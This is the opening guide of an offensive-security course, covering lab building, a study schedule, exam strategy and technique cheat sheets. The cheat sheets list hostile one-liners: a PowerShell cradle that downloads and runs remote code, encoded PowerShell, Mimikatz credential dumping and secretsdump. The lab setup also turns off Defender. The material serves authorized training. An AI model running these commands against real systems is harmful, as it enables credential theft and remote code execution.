Module 00: Reader & Course Guide START HERE

Module 00 of 22 — How to use this course, build your lab, and survive the training

🧠 The Core Truth

This course is not a reading list. It is a weapons manual. Every module is designed to be executed, not memorized. You will build tools, break systems, and learn to think like both attacker and defender. The terminal is your weapon. Every command is a round.

Before you touch Module 01: Read this guide. Build your lab. Set your schedule. Understand the methodology. Skipping this module is like skipping weapons safety — you will hurt yourself.

📖 Section 1: How to Use This Course

The 22-Module Architecture

This course is organized into 22 modules, each building on the last. You do not skip modules. You do not speed-run. You execute every lab before advancing.

Phase Modules Focus
Foundation 00 — 04 Shell, networking, PowerShell, reconnaissance
Execution 05 — 09 Exploitation, memory, privilege escalation, malware
Persistence 10 — 14 Code injection, rootkits, EDR evasion, cloud files
Operations 15 — 19 Lateral movement, C2, Active Directory, LOTL
Mastery 20 — 22 Advanced topics, capstone, final exam

The Execution Rule

Every module contains:

⚠️ The Golden Rule

If you cannot explain a technique to a teammate in 60 seconds, you do not understand it. Go back. Do the lab again. Build it from scratch without looking at the code.

Why Cross-Links Matter

Offensive security is not a list of tricks. It is a web of interconnected techniques. Code injection (Module 10) requires privilege escalation (Module 08). Privilege escalation requires reconnaissance (Module 02). Reconnaissance requires networking (Module 01). The cross-links show you how techniques chain together in real operations.

🧠 Section 2: Study Methodology

The Feynman Technique for Operators

Richard Feynman said: "If you can't explain it simply, you don't understand it well enough." For offensive security, we adapt this:

  1. Study: Read the module. Watch the technique work.
  2. Build: Reconstruct the technique from memory. Fail. Re-read. Build again.
  3. Teach: Explain it to yourself out loud. Record it. Play it back.
  4. Simplify: Reduce the technique to 3 sentences a non-technical person understands.
  5. Execute: Run it in the lab. Document what worked and what failed.

The Three-Pass Method

Every module gets three passes:

💡 Pro Tip: The 80/20 Rule

80% of your operational success will come from 20% of these techniques. Identify your 20% early. For most operators, that is: PowerShell (Module 03), Privilege Escalation (Module 08), and Lateral Movement (Module 15). Master these first.

📝 Section 3: Note-Taking System

The Operator's Notebook

Your notes are your second brain. They must be searchable, structured, and actionable. Use this format:

=== NOTE TEMPLATE === TECHNIQUE: [Name] MODULE: [Number] DATE: [YYYY-MM-DD] WHAT: - One-sentence description of the technique WHY: - When to use it (what problem it solves) - When NOT to use it (detection risks, prerequisites) HOW: - Step-by-step commands (copy-paste ready) - Required tools - Required privileges EVIDENCE: - What the defender sees - How to clean up - How to verify success CROSS-LINKS: - Related modules - Related techniques - Common chains (e.g., Recon → PrivEsc → Injection) LAB NOTES: - What worked - What failed - Modifications made - Target environment

Digital vs. Physical Notes

Digital (Recommended): Use Obsidian, Notion, or markdown files in a private Git repo. Tag everything. Search everything. Cross-link everything.

Physical: Keep a waterproof notebook for quick sketches, network diagrams, and offline reference. Never write passwords in it. Use code names for targets.

⚠️ OPSEC Warning

Your notes are evidence. Encrypt digital notes. Store physical notes in a locked container. Assume compromise and write accordingly — no real target names, no real IP addresses, no personal identifiers.

💡 The Cheat Sheet Rule

Every module must produce a one-page cheat sheet. If it doesn't fit on one page, you don't understand it well enough. These cheat sheets are your operational reference under pressure.

🖥️ Section 4: Building a Lab Environment

🧠 The Core Truth

You cannot learn offensive security in theory. You need a lab. A lab is a controlled battlefield where you can attack, fail, analyze, and attack again without legal consequences. Build it before you touch Module 01.

Lab Architecture Overview

ATTACKER
Kali Linux
192.168.56.10
NAT / HOST-ONLY
VirtualBox / VMware
TARGETS
Windows 10/11
192.168.56.11-20

All traffic stays inside your machine. No external network required.

Step 1: Choose Your Hypervisor

Hypervisor Pros Cons Best For
VirtualBox Free, open-source, snapshots Slower, USB passthrough issues Budget labs, beginners
VMware Workstation Fast, stable, great networking Paid (Player is free but limited) Professional labs, heavy use
Hyper-V Built into Windows Pro/Enterprise Nested virtualization issues Windows-native environments
Proxmox Free, enterprise-grade, web UI Steep learning curve Server labs, teams

Recommendation: Start with VirtualBox (free) or VMware Workstation Pro (if you have a license). Both support snapshots — essential for reverting after malware infections.

Step 2: Host Machine Requirements

Component Minimum Recommended
CPU 4 cores 8+ cores (Intel i7/Ryzen 7)
RAM 16 GB 32+ GB
Storage 256 GB SSD 1 TB NVMe SSD
Network 1 NIC 2+ NICs (for bridged labs)
⚠️ Storage Warning

Each Windows VM requires 40-80 GB. A full lab with 5 Windows targets + Kali = 300+ GB. Use an external NVMe SSD if your internal drive is limited.

Step 3: Base Images

Download and prepare these base images:

=== REQUIRED BASE IMAGES === 1. Kali Linux (Attacker) URL: https://www.kali.org/get-kali/#kali-virtual-machines Format: VirtualBox or VMware image (pre-built) Disk: 80 GB RAM: 4 GB Notes: Update with `sudo apt update && sudo apt full-upgrade` 2. Windows 10/11 Enterprise Evaluation (Target) URL: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise Format: ISO Disk: 80 GB RAM: 4 GB Notes: 90-day evaluation, can be rearmed 3 times 3. Windows Server 2019/2022 (Domain Target) URL: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022 Format: ISO Disk: 60 GB RAM: 4 GB Notes: Required for Module 19 (Active Directory) 4. Ubuntu Server (Linux Target) URL: https://ubuntu.com/download/server Format: ISO Disk: 40 GB RAM: 2 GB Notes: For Linux exploitation modules

Step 4: Snapshot Strategy

Snapshots are your time machine. Use them religiously.

Snapshot Name When to Take Purpose
BASE After OS install, before any changes Clean slate for every lab
TOOLS After installing common tools Skip tool installation time
VULNERABLE After configuring vulnerable services Repeat exploitation practice
POST-EXPLOIT After successful exploitation Practice post-exploitation without re-exploiting
💡 Snapshot Naming Convention

Use: YYYY-MM-DD_DESCRIPTION. Example: 2026-06-29_BASE_Windows10. You will have dozens of snapshots. Naming matters.

🔧 Section 5: VM Setup — Step by Step

Kali Linux Attacker VM

=== KALI SETUP === # 1. Import pre-built Kali VM into VirtualBox/VMware # 2. Start VM, login: kali / kali # 3. Update system sudo apt update && sudo apt full-upgrade -y # 4. Install essential tools sudo apt install -y \ bloodhound neo4j \ crackmapexec \ evil-winrm \ impacket-scripts \ powershell-empire \ remmina \ seclists \ sshuttle \ tmux # 5. Configure static IP (host-only network) sudo nano /etc/network/interfaces # Add: auto eth1 iface eth1 inet static address 192.168.56.10 netmask 255.255.255.0 # 6. Enable IP forwarding (for pivoting labs) sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # 7. Take snapshot: BASE_KALI_2026-06-29

Windows 10/11 Target VM

=== WINDOWS TARGET SETUP === # 1. Create new VM from Windows 10/11 ISO # 2. During install, choose "Custom" and create single partition # 3. When prompted for Microsoft account, choose "Domain join instead" # Create local user: operator / Operator123! # 4. After first boot, disable Windows Update (for stability) # Settings → Update & Security → Advanced options → Pause updates # 5. Disable Windows Defender (for malware labs) # Settings → Update & Security → Windows Security → # Virus & threat protection → Manage settings → # Turn OFF: Real-time protection, Cloud-delivered protection, # Automatic sample submission, Tamper protection # 6. Disable Firewall (for initial networking labs) # Control Panel → Windows Defender Firewall → # Turn Windows Defender Firewall on or off → # Turn OFF for both private and public networks # 7. Enable Remote Desktop (for lateral movement labs) # Settings → System → Remote Desktop → Enable Remote Desktop # 8. Install common tools # - Chrome (for browser exploitation) # - Python 3 (for custom scripts) # - Visual Studio Build Tools (for compiling C/C++) # - Git for Windows (for cloning repos) # 9. Configure static IP (host-only network) # Settings → Network & Internet → Ethernet → # Change adapter options → Properties → IPv4 → # IP: 192.168.56.11 # Subnet: 255.255.255.0 # Gateway: 192.168.56.1 # 10. Take snapshot: BASE_WINDOWS_2026-06-29
⚠️ Security Warning

This VM is intentionally vulnerable. Never connect it to the internet. Never use it for personal browsing. Isolate it to host-only networking only.

Windows Server 2022 (Domain Controller)

=== DOMAIN CONTROLLER SETUP === # 1. Install Windows Server 2022 from ISO # 2. Choose "Windows Server 2022 Standard Evaluation (Desktop Experience)" # 3. Set Administrator password: P@ssw0rd123! # 4. Configure static IP # IP: 192.168.56.20 # Subnet: 255.255.255.0 # DNS: 127.0.0.1 (it will be the DC) # 5. Install Active Directory Domain Services # Server Manager → Manage → Add Roles and Features → # Role-based installation → Select server → # Check "Active Directory Domain Services" → Install # 6. Promote to Domain Controller # Server Manager → AD DS (yellow flag) → # "Promote this server to a domain controller" → # Add new forest → Root domain name: 22sd.local → # DSRM password: P@ssw0rd123! → Next → Install # (Server will reboot automatically) # 7. Create domain users (for Module 19 labs) # Active Directory Users and Computers → 22sd.local → # New → User → Create test users: # - gwu07 (domain admin candidate) # - jsoldier (standard user) # - svc_sql (service account) # 8. Take snapshot: BASE_DC_2026-06-29

Cross-link: Full AD exploitation in Module 19: Active Directory.

🌐 Section 6: Networking Lab Machines

Virtual Network Modes Explained

Mode VM ↔ Host VM ↔ Internet VM ↔ VM Use Case
NAT Yes Yes No VM needs internet, isolated from others
Host-Only Yes No Yes Lab network — VMs talk, no internet
Bridged Yes Yes Yes VM appears as real machine on network
Internal No No Yes Air-gapped lab, no host access

Recommended Lab Network Topology

KALI
192.168.56.10
NAT + Host-Only
vboxnet0
192.168.56.0/24
Host-Only
WINDOWS 10
192.168.56.11
Host-Only
WINDOWS 11
192.168.56.12
Host-Only
DC 2022
192.168.56.20
Host-Only

Kali has two adapters: NAT (for internet access) and Host-Only (for lab communication). Targets have only Host-Only. They cannot reach the internet.

VirtualBox Network Configuration

=== VIRTUALBOX NETWORK SETUP === # 1. Create Host-Only Network File → Host Network Manager → Create Name: vboxnet0 IPv4 Address: 192.168.56.1 IPv4 Mask: 255.255.255.0 DHCP Server: DISABLED (we use static IPs) # 2. Configure Kali VM Settings → Network → Adapter 1: NAT (for internet) Settings → Network → Adapter 2: Host-Only Adapter → vboxnet0 # 3. Configure Windows Targets Settings → Network → Adapter 1: Host-Only Adapter → vboxnet0 # 4. Verify connectivity from Kali ping 192.168.56.11 # Windows 10 target ping 192.168.56.12 # Windows 11 target ping 192.168.56.20 # Domain Controller # 5. Verify from Windows targets ping 192.168.56.10 # Kali attacker # Should succeed (same network) ping 8.8.8.8 # Google DNS # Should FAIL (targets have no internet — correct)

VMware Network Configuration

=== VMWARE NETWORK SETUP === # 1. Edit → Virtual Network Editor # 2. Select VMnet1 (Host-only) → Change Settings # Subnet IP: 192.168.56.0 # Subnet Mask: 255.255.255.0 # DHCP Settings: DISABLED # 3. Select VMnet8 (NAT) → NAT Settings # Subnet IP: 192.168.88.0 (different range!) # Gateway: 192.168.88.2 # 4. Configure Kali VM # Network Adapter 1: NAT (VMnet8) # Network Adapter 2: Host-only (VMnet1) # 5. Configure Windows Targets # Network Adapter 1: Host-only (VMnet1) # 6. Verify connectivity (same as VirtualBox)
💡 Troubleshooting Network Issues

If pings fail:

📅 Section 7: Study Schedule

The 22-Week Sprint

This course is designed for one module per week at 15-20 hours/week. Adjust based on your experience.

Week 1: Module 00 — Reader & Lab Build

Build lab. Verify networking. No exploitation yet.

Week 2: Module 01 — Networking

TCP/IP, Wireshark, packet analysis. Cross-link to Module 02.

Week 3: Module 02 — Reconnaissance

Nmap, OSINT, footprinting. Build recon script.

Week 4: Module 03 — PowerShell

Windows automation, download cradles, obfuscation.

Week 5: Module 04 — Shell Scripting

Bash, Python, automation. Build tool chain.

Week 6: Module 05 — Exploitation

Buffer overflows, web exploits, Metasploit basics.

Week 7: Module 06 — Memory Forensics

Volatility, memory dumps, process analysis.

Week 8: Module 07 — Web Attacks

SQLi, XSS, CSRF, IDOR. DVWA practice.

Week 9: Module 08 — Privilege Escalation

Windows & Linux privesc. Token abuse, kernel exploits.

Week 10: Module 09 — Malware Development

Shellcode, encoders, packers. Build custom payload.

Week 11: Module 10 — Code Injection

DLL injection, process hollowing, reflective DLL.

Week 12: Module 11 — Rootkits

User-mode and kernel-mode rootkits. Hooking, hiding.

Week 13: Module 12 — Defensive Verification

EDR, SIEM, detection engineering. Blue team perspective.

Week 14: Module 13 — EDR Evasion

AMSI bypass, ETW bypass, unhooking. Red team skills.

Week 15: Module 14 — Cloud Files

Azure, AWS, GCP exploitation. Storage, IAM, containers.

Week 16: Module 15 — Lateral Movement

Pass-the-hash, WMI, PSExec, RDP hijacking.

Week 17: Module 16 — C2 Frameworks

Cobalt Strike, Sliver, Mythic. Build C2 infrastructure.

Week 18: Module 17 — Data Exfiltration

DNS tunneling, HTTPS exfil, steganography.

Week 19: Module 18 — Social Engineering

Phishing, pretexting, vishing. Build phishing campaign.

Week 20: Module 19 — Active Directory

BloodHound, Kerberoasting, DCSync, Golden Ticket.

Week 21: Module 20 — Advanced Topics

Hardware attacks, supply chain, physical security.

Week 22: Module 21-22 — Capstone & Exam

Full-chain attack. Report writing. Final exam.

💡 The 2-Day Rule

Never miss two days in a row. One day off is rest. Two days off is a habit breaking. If you miss a day, the next day is non-negotiable.

Daily Study Block (2-3 Hours)

Time Activity Purpose
0:00 — 0:15 Review yesterday's notes Spaced repetition
0:15 — 0:45 Read new material Theory absorption
0:45 — 1:45 Lab / hands-on Muscle memory
1:45 — 2:15 Troubleshoot & document Problem solving
2:15 — 2:30 Write cheat sheet entry Synthesis
2:30 — 3:00 Quiz / self-test Verification

🎯 Section 8: Exam Preparation

🧠 The Core Truth

The exam is not a test of memory. It is a test of execution under pressure. You will be given a target network. You will have a time limit. You must chain techniques from multiple modules to achieve the objective. Your notes are your only reference.

Exam Format

Component Details
Duration 24 hours (split into two 12-hour blocks)
Target Network 3-5 machines (Windows, Linux, mixed)
Objectives Flags on each machine + domain admin compromise
Deliverables Flags + professional report (72 hours after exam)
Passing Score 70% of flags + satisfactory report
Allowed Materials Your notes, your cheat sheets, your tools
Prohibited Internet, AI assistance, outside help, automated scanners

30-Day Exam Prep Plan

Period Focus Daily Hours
Days 1-10 Review all modules. Rebuild key techniques from scratch. Update cheat sheets. 3-4
Days 11-20 Practice exams. Timed drills. Full-chain attacks on lab network. 4-5
Days 21-25 Weak area focus. Re-do failed labs. Drill problem techniques. 3-4
Days 26-28 Light review. Organize notes. Rest. Sleep. 1-2
Day 29 Exam day block 1 (12 hours). No cramming. Trust your preparation. 12
Day 30 Exam day block 2 (12 hours) if needed. Report writing begins. 12

Exam Day Strategy

  1. Recon first (30 min): Map the network. Nmap all targets. Document everything. Don't attack yet.
  2. Low-hanging fruit (1-2 hours): Attack the easiest target first. Build momentum. Get a flag early.
  3. Chain from foothold (2-4 hours): Use initial access for recon. Pivot. Escalate. Move laterally.
  4. Domain compromise (4-6 hours): If AD is present, this is the big prize. Use BloodHound. Find paths.
  5. Clean up & verify (1 hour): Screenshot every flag. Verify every compromise. You cannot go back.
  6. Report outline (30 min): Before time expires, outline your report. Note what you did, what worked, what failed.
⚠️ Time Management Warning

If you're stuck on a technique for more than 2 hours, move on. The exam is designed to have multiple paths. Don't get tunnel vision. Save every rung — if one path fails, you need another.

💡 The Screenshot Rule

Screenshot everything. Every command. Every output. Every flag. Your report is graded on evidence. A flag without a screenshot is a flag you cannot prove.

📋 Section 9: Cheat Sheet Construction

The One-Page Rule

Every technique gets one page. No exceptions. If it doesn't fit, you don't know it well enough. Your cheat sheets are your lifeline during the exam.

Reconnaissance (Module 02)

nmap -sV -sC -O target nmap -p- --min-rate 1000 target enum4linux -a target dig axfr @target domain.com

PowerShell (Module 03)

IEX(New-Object Net.WebClient).DownloadString('url') powershell -enc [base64] Get-Process | ?{$_.ProcessName -like '*av*'} Invoke-Expression $cmd

Privilege Escalation (Module 08)

whoami /priv winPEAS.exe PowerUp.ps1 SharpUp.exe TokenPrivileges | SeImpersonate

Code Injection (Module 10)

OpenProcess → VirtualAllocEx WriteProcessMemory → CreateRemoteThread Process Hollowing: svchost.exe APC: QueueUserAPC (no Event ID 8)

Lateral Movement (Module 15)

Invoke-Mimikatz -DumpCreds Invoke-PsExec -Computer target -Command cmd Invoke-WMIExec -Target target -Command cmd xfreerdp /v:target /u:user /p:pass

Active Directory (Module 19)

bloodhound-python -u user -p pass -d domain -c All GetNPUsers.py domain/user -no-pass secretsdump.py domain/user@target golden_ticket = krbtgt hash + domain SID

Cheat Sheet Template

=== CHEAT SHEET: [TECHNIQUE NAME] === PURPOSE: One line: what this does and when to use it. PREREQUISITES: - Required privileges - Required tools - Required network access COMMANDS: [Command 1] # What it does [Command 2] # What it does [Command 3] # What it does EVIDENCE / CLEANUP: - What the defender sees - How to remove artifacts - How to verify success COMMON FAILURES: - Failure 1 → Fix 1 - Failure 2 → Fix 2 CROSS-LINKS: - Module X (prerequisite) - Module Y (follow-up) - Module Z (evasion) LAST TESTED: YYYY-MM-DD on [TARGET] STATUS: Working / Broken / Needs Update
💡 The Printer Test

Print your cheat sheets. Can you read them at 2 AM under red light? If the font is too small or the colors don't print, fix it. Your exam environment may not have a second monitor.

🎖️ Section 10: Mentor's Advice

"The best operators are not the ones who know the most techniques. They are the ones who know which technique to use when everything else fails. Save every rung. Build redundancy. If your first payload is caught, your second should already be staged."

— Senior Operator, 22nd Survey Division

"You will fail labs. You will crash VMs. You will spend 6 hours on a technique that doesn't work. This is not wasted time. This is the education. Every failure teaches you what the defender sees. Every crash teaches you stability. Every dead end teaches you patience."

— Lab Instructor, 22nd Survey Division

"Your notes are your legacy. Write them as if you are training your replacement. Because someday, you will be training your replacement. And they will ask the same questions you asked. Make your notes answer those questions before they are asked."

— Course Designer, 22nd Survey Division

The 10 Commandments of the 22nd Survey Division

  1. Thou shalt build the lab first. No lab, no learning. No exceptions.
  2. Thou shalt execute every command. Reading is not doing. Doing is learning.
  3. Thou shalt take screenshots of everything. Evidence is truth. Truth is graded.
  4. Thou shalt not skip modules. The course is a chain. Break one link, the chain fails.
  5. Thou shalt write cheat sheets. One page per technique. No exceptions.
  6. Thou shalt follow cross-links. Techniques are a web, not a list. Understand the web.
  7. Thou shalt fail in the lab. Better to fail in the lab than in the exam. Better to fail in the exam than in the field.
  8. Thou shalt not use AI during exams. Your brain is the weapon. Sharpen it.
  9. Thou shalt teach what thou learnest. Teaching reveals gaps. Gaps are opportunities.
  10. Thou shalt save every rung. Redundancy is survival. Always have a second path.
⚠️ Final Warning

This course teaches offensive techniques for authorized testing and defense. Using these techniques without explicit written authorization is illegal in almost every jurisdiction. The 22nd Survey Division trains operators, not criminals. Know the law. Know your boundaries. Operate ethically.

🔗 Section 11: Cross-Links to Key Modules

Where to Go From Here

This module is your foundation. The next modules build on it. Here are the critical paths:

🧪 Section 12: Interactive Quizzes

Question 1: What is the FIRST step before starting Module 01?

A) Read all 22 modules to understand the big picture
B) Build the lab environment and verify networking
C) Memorize all PowerShell one-liners from Module 03
D) Install every tool from Kali Linux repositories

Question 2: Why are snapshots essential in a lab environment?

A) They improve VM performance by freeing memory
B) They allow multiple VMs to share the same disk
C) They let you revert to a clean state after malware infections or crashes
D) They are required for host-only networking to work

Question 3: What is the "One-Page Rule" for cheat sheets?

A) Every cheat sheet must be printed on a single physical page
B) If a technique doesn't fit on one page, you don't understand it well enough
C) Cheat sheets are limited to one page per module
D) Only one cheat sheet is allowed during the exam